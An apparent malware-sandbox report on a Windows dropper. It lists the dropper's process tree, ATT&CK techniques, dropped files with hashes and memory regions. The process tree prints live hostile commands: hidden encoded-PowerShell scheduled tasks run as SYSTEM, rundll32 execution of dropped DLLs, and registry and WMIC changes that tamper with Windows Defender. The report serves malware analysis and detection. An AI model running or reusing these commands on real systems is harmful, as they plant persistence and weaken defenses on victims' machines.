schtasks /CREATE /TN "gYVTGnhou" /SC once /ST 01:48:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1600

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gYVTGnhou"
3⤵
PID:1756

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gYVTGnhou"
3⤵
PID:2528

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:2360

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:2108

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:2524

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:3024

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "MhsnVFKWmmyXGZkTD" /SC once /ST 04:35:27 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\nDgzJqR.exe\" DG /TmBfdidrT 525403 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2640

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "MhsnVFKWmmyXGZkTD"
3⤵
PID:2116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1728 -s 484
3⤵
- Loads dropped DLL
- Program crash
PID:1860

C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\nDgzJqR.exe
C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\nDgzJqR.exe DG /TmBfdidrT 525403 /S
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1412

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bUVDAOPnPkUhchiViu"
3⤵
PID:2764

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
3⤵
PID:1936

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
4⤵
PID:1808

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
PID:1280

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2740

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
4⤵
PID:1760

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
5⤵
PID:1232

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2284

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2140

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\bBBSFQQZU\PZptOj.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "LVynAQLCTpGcVPg" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1588

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "LVynAQLCTpGcVPg2" /F /xml "C:\Program Files (x86)\bBBSFQQZU\SJvSgHN.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2616

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "LVynAQLCTpGcVPg"
3⤵
PID:2180

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "LVynAQLCTpGcVPg"
3⤵
PID:2528

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "KatXkYONgJxXkD" /F /xml "C:\Program Files (x86)\rUfZlqUIdWiU2\BvMjMeI.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2744

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "PuJMQwokvjmjr2" /F /xml "C:\ProgramData\fHdtCMTPryqSDgVB\KfWhvWN.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2952

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "jmhuFmncXBbhpBxSq2" /F /xml "C:\Program Files (x86)\rPikKiIbwrQGukIChiR\KXrnhDm.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2188

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "OztlfTauKwYVOQQXHnj2" /F /xml "C:\Program Files (x86)\NNMAoTKMcAkAC\reBcspO.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:708

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "MRaTohzfdszDuijXP" /SC once /ST 04:26:07 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WZpWNMsDzSAcKsSA\hJvnqnXE\ZZjgoob.dll\",#1 /KdidaF 525403" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2596

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "MRaTohzfdszDuijXP"
3⤵
PID:2868

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "MhsnVFKWmmyXGZkTD"
3⤵
PID:2684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 1548
3⤵
- Loads dropped DLL
- Program crash
PID:2160

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WZpWNMsDzSAcKsSA\hJvnqnXE\ZZjgoob.dll",#1 /KdidaF 525403
2⤵
PID:2712

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WZpWNMsDzSAcKsSA\hJvnqnXE\ZZjgoob.dll",#1 /KdidaF 525403
3⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1504

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "MRaTohzfdszDuijXP"
4⤵
PID:2240

C:\Windows\system32\taskeng.exe
taskeng.exe {AAAE5CEA-6DF8-420C-8F02-1ABE9D710A77} S-1-5-21-268080393-3149932598-1824759070-1000:UHRQKJCP\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2256

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2252

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:320

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:768

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1664

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1712

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:648

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2124

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2144

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

PowerShell

Scheduled Task/Job

Scheduled Task

Persistence

Create or Modify System Process

Windows Service

Scheduled Task/Job

Scheduled Task

Privilege Escalation

Create or Modify System Process

Windows Service

Scheduled Task/Job

Scheduled Task

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\NNMAoTKMcAkAC\reBcspO.xml
Filesize
2KB

MD5
699c55df3079ecb0109ed6c0193fd2ef

SHA1
6de5fe4783e193721c5cceba0c9cf33617abb436

SHA256
de69f90ba5dfe36575c58d9a637c8e8a6a06368c5947855f04e53ed241c06cd7

SHA512
1fe38fcc37cc9b26431fa9b48b350bbcd1eed68fb3b9626a4e7b8ec8da6c2406350b43f3667b8fa29bcb58abc6bd0a7a45d1fdb60944813e62dfb1857a898ae6

Download Submit
C:\Program Files (x86)\bBBSFQQZU\SJvSgHN.xml
Filesize
2KB

MD5
a4eb2534b649888066e617f51eef59f1

SHA1
d2700f270dd907aa66f8492c81d70be13d812d64

SHA256
030b11d1bb1ef00f63d77cd2eefbac261689ae2c9e2f86da06c4f7b44af7c6b4

SHA512
5f11fd9ac919d3517d5c75abffaeb053c2d4ef09fc9cbe7d79478a9773e2f9136d47a28af0e12f3026a6929f465f6715a064fb1b157df36daa9accf162f65182

Download Submit
C:\Program Files (x86)\rPikKiIbwrQGukIChiR\KXrnhDm.xml
Filesize
2KB

MD5
e98e845203d93a554873ca6cbe8151b7

SHA1
f92cfe68c6838db336bc3703b43babf5a1ab6bfd

SHA256
7500e0d66238598d3335983928b573a2c0653bc6514681229de0517b9f50f21a

SHA512
1f8c56e4358a132e1814d4f6648ffa90aa0a957c26c11b9f3c9adbc654a0add6f1bce01c9689db7b725206f7b4b2722087a3aedb0d4f8dc9eb97ec73f8beae3d

Download Submit
C:\Program Files (x86)\rUfZlqUIdWiU2\BvMjMeI.xml
Filesize
2KB

MD5
78ef1d0d79164aa68272c88ac65eb49b

SHA1
778544969984a6eaa48d8a9a8ae68a119d9c9831

SHA256
b8e4bb93faa627475095f5d20f5394c6f87ae1ef2ab1d8f07ad31430b4a318d0

SHA512
afa82689b756760c47a91942f960e9999b87bf0116e6df753ce4e75788abf1cefead1c4ee9f0ac952710a5f19563723c4537e782142f08bcdbb9d5d1949b2a01

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi
Filesize
2.0MB

MD5
a1d851ab5c13a2808d9445fb37221ca2

SHA1
f1d1c075f5d3e517d81941f6a0c91bf892bff7cd

SHA256
d272d51320cde497e8a41a3885394e9c0a370c47f70b4d83617ec374f1203f12

SHA512
61b050750e5c1089727af6de373c92b450f2cd273848d02a790425bfcb85d869048550b135d20c3d6c177b797c8140a5d1e6e86333c7c201652e66a2f4f7f24e

Download Submit
C:\ProgramData\fHdtCMTPryqSDgVB\KfWhvWN.xml
Filesize
2KB

MD5
6a9b7dffcecd8cd99d4dce6510d0ca4b

SHA1
23f99bf7fd7d78146e993ca58559351ad93bfec2

SHA256
f62c292a8240ab03f61c7cd248193bcdc4f764d67de9cad0ca1ad4ee02af84c4

SHA512
fcf63bf17aa9400045cb801742c04eb277c8796a5ce901e4cbe6c29472230b67d90a03f990d3fbfc535f4d9721a7474ae4a90b2c848064968911919604d85cbf

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
10KB

MD5
b77e90bacadbb009b369a555b63e3e4f

SHA1
66825ef5d0d160de8d6e58cad102322ebce8a285

SHA256
a88ee100ae260be3db1bc63384321ce3ac1cdc53df300dc1308ea734f41b9a54

SHA512
ebae355a75889be1e9ec12844536f6fccd0fc9434ae69e0f46b20b9c87064b4362f4d782e83d3857e8ccb65c484778f7d56170991827571db4d75ea8342e0bbd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Filesize
27KB

MD5
454e82a27c8c94cf4a50b6772486ce77

SHA1
af7108f8f3894aa8e99111b2173bad37c337200c

SHA256
6646b11cc7bd1e6233a6d442a725faee0b6fad5c0ac6f68542dcacb268bbf33c

SHA512
b41b18c1cc6faa29d6385040d8d5c978870804ba96a708068767e118797a32a7216c63803f4833e1a2fdb7257ecfaead69948f0b57dab320165cad0108f7e932

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
8e71ff61c670fd29ecc07d400868d8f3

SHA1
0600b27b4806e811119441a2234abcc257483b10

SHA256
53ea14c1c041a72868a54c96ccafbbe3eaaa6b9299c4f322d320f9977018c499

SHA512
ba69884034861102569c2f3542e936748435476260f77a04667727565e87911c8a075a37e8c75be2dc10dc078bea207e7bc076ec54ccb9d764c0b3cc336b8451

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GYB14GNDNHNK3CQTHP1X.temp
Filesize
7KB

MD5
d9d9a42d3b3ab22052776e5689ec8b28

SHA1
98bae46b61bb221f347228cac06749c06089e1f4

SHA256
99a2cdc0af914a8468f6cf852dd26298467612370bc079ac8c7c118ed111376b

SHA512
27b32c50e903339b3959a0cb3ff5cbfe60bad34af210dd87788e4df3cd9def02ebeb99873deedc04c6428dd37455c188157bb0970cc32ae3f6cf6165be7d8a91

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nfhvy4wu.default-release\prefs.js
Filesize
7KB

MD5
303effdd12a66e953e48b0fbd5bb66e4

SHA1
884eafb376da21fd81c41f6efbbdfeed88932b2b

SHA256
6cda32c18ca8c7b0919199ba58b983be72afdacbc5c572842e30eaf072ccdba7

SHA512
8b2ddc81272efa63e206bb9f74d3132a2815484149e1e92cf9e024a3d9aee8e5bf4522d59389a5701be6f1d505e661f77dce35aab67a13835f44c32ad3beef5c

Download Submit
C:\Windows\Temp\WZpWNMsDzSAcKsSA\KWnDXiBt\LvfbgIXdSRSlFCkX.wsf
Filesize
9KB

MD5
22aa5a4d56fefc869327500e3d4564dc

SHA1
0aedea8de4d76260316194eb9b6e59f3182e45bf

SHA256
e8909f285496c016340b334347b2ebfd79ec21cef24a49053e8e6f5d30f04f44

SHA512
cf3825c2a0aeb052ad1e069f9140f852df6e3c1b63001d44899ef747bc82dcf731b0f7f45ec24df00f9f37157cfefbb80098795debac1744c15835bd513b1397

Download Submit
C:\Windows\Temp\WZpWNMsDzSAcKsSA\hJvnqnXE\ZZjgoob.dll
Filesize
6.5MB

MD5
2c5315f48e9b097d2c447e016743854f

SHA1
84006269f2b54df8bef71d46364bd82946b24759

SHA256
233a6dfcb0ea347aed469bac784313ce0fb0dbc2ce84b5f3b3561d4741b03dc2

SHA512
efd65e08582051bf7ef3795f7d0718aab625ea1500eaae19b0a665807b697e81a0e1dd580885765f364ab3e763ed913a19cbbe27327bc45ce0c1a0aeb65ce4ec

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Filesize
5KB

MD5
3d52426af4887c43abd62ceb79d16e53

SHA1
3a4ca1704f691c6ad644b15aca9451e2a5556aee

SHA256
1f3929e095ff6be934e2ea77c3e52f4dd2c6c0578753b90a03b2190dacc0b5b9

SHA512
2059e2e6d5e964055a53817f3aaa491113cd467c593b9c3403e0de9f5a0359cfb2b18613e570fe792d2df5af74cfa9f16b7a2336cd8e148a35bd87e14322fd44

Download Submit
\Users\Admin\AppData\Local\Temp\7zS1786.tmp\Install.exe
Filesize
6.4MB

MD5
0ab5f17a164d83d986ee18c044e754ca

SHA1
f4378ad12c7060689f510d4000fb1d2e35fc9271

SHA256
aea62de9a1c790a66c111f2533ec973cb154ec8f975be782172eb686b4e9a753

SHA512
6efdecb407420615d86f48f564f954f1442d96d2ef8884dc52cc2951978c59361b5e93fd0d8b55c736f316cc12593937733be458bab9de4b94423773549e2f74

Download Submit
\Users\Admin\AppData\Local\Temp\7zS196A.tmp\Install.exe
Filesize
6.6MB

MD5
c459c807bebcbb6553ff3388b249a9fd

SHA1
6e428b6c77c966e33c5c0e321d722b57bd3bf975

SHA256
9c3372c448ccebbe7b771c24c207a0ae0e145a25d0e96f5ffb0559ff5571154b

SHA512
7641130d16107aa5bdf16f39a6f9e6404230376bae4a9489b0b9462218075c4a0cea35cff3b434c6a352f05f49aca4a3f71839acf16cbe278ac49235ca6291cf

Download Submit
memory/768-59-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/768-61-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/1412-78-0x0000000000A10000-0x00000000010B5000-memory.dmp

Filesize
6.6MB

Download
memory/1412-85-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/1412-95-0x00000000014D0000-0x0000000001555000-memory.dmp

Filesize
532KB

Download
memory/1412-128-0x0000000001A80000-0x0000000001AE0000-memory.dmp

Filesize
384KB

Download
memory/1412-311-0x0000000002E70000-0x0000000002EF8000-memory.dmp

Filesize
544KB

Download
memory/1412-321-0x0000000003190000-0x0000000003262000-memory.dmp

Filesize
840KB

Download
memory/1412-352-0x0000000000A10000-0x00000000010B5000-memory.dmp

Filesize
6.6MB

Download
memory/1504-353-0x0000000001450000-0x000000000501B000-memory.dmp

Filesize
59.8MB

Download
memory/1728-40-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/1728-82-0x00000000002F0000-0x0000000000995000-memory.dmp

Filesize
6.6MB

Download
memory/1728-60-0x00000000002F0000-0x0000000000995000-memory.dmp

Filesize
6.6MB

Download
memory/1728-38-0x00000000002F0000-0x0000000000995000-memory.dmp

Filesize
6.6MB

Download
memory/2132-35-0x00000000016C0000-0x0000000001D65000-memory.dmp

Filesize
6.6MB

Download
memory/2132-34-0x0000000001010000-0x00000000016B5000-memory.dmp

Filesize
6.6MB

Download
memory/2132-27-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/2132-23-0x0000000001010000-0x00000000016B5000-memory.dmp

Filesize
6.6MB

Download
memory/2132-24-0x00000000016C0000-0x0000000001D65000-memory.dmp

Filesize
6.6MB

Download
memory/2132-25-0x00000000016C0000-0x0000000001D65000-memory.dmp

Filesize
6.6MB

Download
memory/2252-50-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2252-49-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/3016-22-0x00000000023A0000-0x0000000002A45000-memory.dmp

Filesize
6.6MB

Download